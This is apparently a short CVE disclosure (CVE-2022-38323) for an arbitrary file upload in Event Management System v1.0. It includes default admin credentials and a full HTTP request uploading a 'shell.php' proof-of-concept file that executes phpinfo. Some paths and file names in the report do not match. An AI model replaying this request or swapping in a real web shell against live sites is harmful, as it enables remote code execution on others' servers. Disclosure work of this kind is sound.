Headline
CVE-2022-38323: bug_report/RCE-1.md at main · Gsir97/bug_report
Event Management System v1.0 was discovered to contain an arbitrary file upload vulnerability via the component /Royal_Event/update_image.php. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.
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Event Management System v1.0 by Nikhil_B has arbitrary code execution (RCE)
BUG_Author: Gsir
vendors: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html
The program is built using the xmapp-php8.1 version
Login account: [email protected]/admin (Super Admin account)
Vulnerability url: ip/tour/admin/operations/travellers.php
Loophole location: Event Management System’s update_img.php file exists arbitrary file upload (RCE)
Request package for file upload：
POST /Royal_Event/update_image.php?id=2 HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/Royal_Event/update_image.php?id=2%27 Cookie: PHPSESSID=0pba7l89o53c7tini68b77ci0m Connection: close Content-Type: multipart/form-data; boundary=---------------------------16095109891890 Content-Length: 435 -----------------------------16095109891890 Content-Disposition: form-data; name="productName" Nikhil Bhalerao -----------------------------16095109891890 Content-Disposition: form-data; name="productimage1"; filename="shell.php" Content-Type: application/octet-stream JFJF <?php phpinfo();?> -----------------------------16095109891890 Content-Disposition: form-data; name="submit" -----------------------------16095109891890–
The files will be uploaded to this directory \tour\admin\img
We visited the directory of the file in the browser and found that the code had been executed